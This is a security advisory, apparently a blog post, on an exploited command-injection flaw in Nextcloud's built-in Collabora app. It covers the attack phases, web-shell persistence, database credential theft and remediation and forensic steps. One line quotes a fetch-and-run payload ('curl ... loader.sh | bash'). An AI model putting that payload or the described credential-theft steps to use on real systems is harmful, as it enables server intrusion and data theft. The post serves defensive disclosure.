Date: October 15, 2026
Author: Threat Research & Intelligence Team, Digital Spying
Category: Enterprise Cloud Storage / Web Application Security / Zero-Day Exploitation / Remote Code Execution / Incident Response
Tags: Nextcloud, Collabora Online, CODE, CVE-2026-110447, richdocumentscode, RCE, Web Shell, Active Exploitation, Open Source Security
Executive Summary
The self-hosted enterprise cloud ecosystem is facing an aggressive wave of automated intrusions. On October 14–15, 2026, cybersecurity threat detection units and incident response firms confirmed active in-the-wild exploitation of a critical remote code execution (RCE) vulnerability affecting Nextcloud servers deploying the built-in Collabora Online Development Edition (CODE) application.
Tracked as CVE-2026-110447 with a critical CVSS v3.1 base score of 9.2 to 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), the flaw resides within the richdocumentscode application package—the official Nextcloud app that provides embedded, browser-based collaborative editing for Microsoft Office and OpenDocument files.
As reported by BleepingComputer, The Hacker News, and SecurityOnline, unauthenticated remote attackers are sending crafted HTTP and WebSocket requests to exposed Nextcloud instances, triggering arbitrary command execution with the privileges of the web server (www-data). Threat actors are actively leveraging the vulnerability to drop persistent PHP web shells, dump backend MySQL and PostgreSQL databases, and exfiltrate proprietary enterprise documents from compromised private clouds.
Technical Deep-Dive: Deconstructing the Collabora Online RCE (CVE-2026-110447)
To understand how an optional office editing app allows complete server compromise, we analyze the architecture of Nextcloud's built-in CODE integration, the WebSocket proxy flaw, and post-exploitation persistence.
Attack Phase
Source & Target
Action & Mechanism
1. Delivery
Attacker $\rightarrow$ Nextcloud Web Server
Sends HTTP/WebSocket request to POST /apps/richdocumentscode/proxy.php containing shell metacharacters in connection parameters.
2. Proxy Flaw
Nextcloud Proxy Dispatcher
Input validation is completely omitted. Parameters are concatenated directly into execution commands.
3. Trigger
Web Server $\rightarrow$ CODE Daemon
Invokes internal coolwsd launcher, executing the injected shell payload (e.g., curl -s .../loader.sh | bash).
4. Execution
Operating System
Payload executes under www-data context and drops a persistent PHP web shell into the public web root.
5. Exfiltration
Attacker $\leftrightarrow$ Compromised Host
Attacker reads config/config.php for DB credentials, dumps password hashes (Argon2id), and recursively steals /data/ contents.
1. The Architectural Role of richdocumentscode
Nextcloud is deployed by tens of thousands of enterprises, universities, and government bodies as a private, sovereign alternative to Google Workspace and Microsoft 365:
* The Challenge of Office Editing: Full-featured online office editing requires complex document rendering daemons (like Collabora Online or OnlyOffice).
* The Built-In CODE Solution: To simplify deployment, Collabora published richdocumentscode (Collabora Online - Built-in CODE). Rather than requiring a dedicated external server, the app downloads and runs a compiled Collabora binary (coolwsd / kit) directly inside the local Nextcloud environment, managed via internal PHP proxy scripts.
* The Attack Surface: Because any user collaborating on a document must establish real-time connections to the editor, the app exposes WebSocket proxy endpoints that are reachable without requiring traditional administrative authentication.
2. Root Cause: Command Injection in the Proxy Dispatcher
The vulnerability stems from improper input validation when Nextcloud routes incoming collaborative editing requests to the local Collabora daemon:
* The Proxy Handler: Incoming client requests are handled by proxy.php and associated WebSocket routing controllers in the richdocumentscode package.
* Unsanitized Execution: When establishing an editing session or requesting document previews, client-supplied connection arguments are processed and passed to backend execution routines that spawn internal helper processes.
* The Injection Vector: An attacker supplies crafted parameters containing shell metacharacters (such as ;, |, or backticks). Due to missing sanitization, the PHP script executes the concatenated command line through the system shell, executing the attacker’s arbitrary commands under the privileges of the web server (www-data or nginx).
3. Post-Exploitation TTPs: From Web Shell to Full Private Cloud Theft
Telemetry observed across live incident response investigations reveals a structured attack sequence:
* Dropping Persistent Web Shells: The initial payload writes an obfuscated PHP web shell into public-accessible asset directories:
* /custom_apps/richdocumentscode/
* /apps/richdocuments/
* /themes/
This provides the attacker with continuous HTTP-based command execution that persists even if the vulnerable app is temporarily stopped.
* Database Credential Theft: Nextcloud stores master database credentials, database hosts, and database user passwords in plaintext inside config/config.php. The web shell reads this file, connects directly to the local or remote database (MySQL, MariaDB, PostgreSQL), and extracts user records, administrative password hashes, and session tokens.
* Enterprise Document Exfiltration: The adversary executes automated directory traversal scripts targeting /var/www/nextcloud/data/ or dedicated Network Attached Storage (NAS) mounts. Confidential legal files, corporate financial spreadsheets, medical records, and personal cloud backups are packaged into encrypted archives and exfiltrated to external C2 servers.
Industry Impact on Sovereign Storage and Private Clouds
The exploitation of CVE-2026-110447 highlights the acute risks facing sovereign enterprise infrastructure:
* The High-Value Target of Private Clouds: Organizations deploy self-hosted Nextcloud instances specifically to avoid third-party cloud surveillance and comply with stringent European GDPR and data localization laws. A compromise of the private cloud delivers the organization's most guarded assets directly to threat actors.
* The Danger of "All-in-One" Convenience Apps: Bundling complex, multi-binary C++ rendering daemons (richdocumentscode) into simple PHP web applications introduces extensive native attack surfaces directly into the primary application web root.
Defensive Hardening Blueprint & Remediation Strategies
Nextcloud administrators and enterprise security teams must take immediate protective action:
1. Update the richdocumentscode App Immediately
Upgrade the built-in CODE app to version 25.04.8.1 or later:
* Via the Nextcloud Web Interface: Navigate to Settings $\rightarrow$ Apps $\rightarrow$ Updates, locate Collabora Online - Built-in CODE, and click Update.
* Via the Command Line (OCC):
sudo -u www-data php /var/www/nextcloud/occ app:update richdocumentscode
2. Emergency Workaround: Disable the Built-In CODE App
If updates cannot be applied immediately, disable the app without delay:sudo -u www-data php /var/www/nextcloud/occ app:disable richdocumentscode
(Note: Disabling richdocumentscode halts in-browser document editing but keeps all file storage, sharing, and sync functions completely operational and safe).
3. Migrate to an Isolated External Collabora Server
For enterprise environments, discontinue using built-in CODE in production:
* Deploy Collabora Online (CODE) on a dedicated external server or an isolated, unprivileged Docker container running on a separate VLAN.
* Configure the standard richdocuments app to point to the external server URL, ensuring that any future document parser vulnerabilities remain sandboxed away from the core Nextcloud filesystem and database.
4. Forensic Incident Response Triage
Check Nextcloud instances for indicators of compromise:
* Web Server Access Logs: Search NGINX or Apache access logs for anomalous HTTP POST requests or WebSocket upgrade attempts directed at /apps/richdocumentscode/proxy.php.
* Scan for Unauthorized PHP Files: Inspect the Nextcloud application directory for newly created or anomalous .php files:
find /var/www/nextcloud/apps/ /var/www/nextcloud/custom_apps/ -name "*.php" -mtime -7
* Review Database Audit Logs: Inspect database access logs for unexpected external connections or queries dumping the oc_users or oc_filecache tables.
________________
For self-hosted cloud vulnerability breakdowns, open-source application teardowns, and enterprise threat intelligence, subscribe to Digital Spying.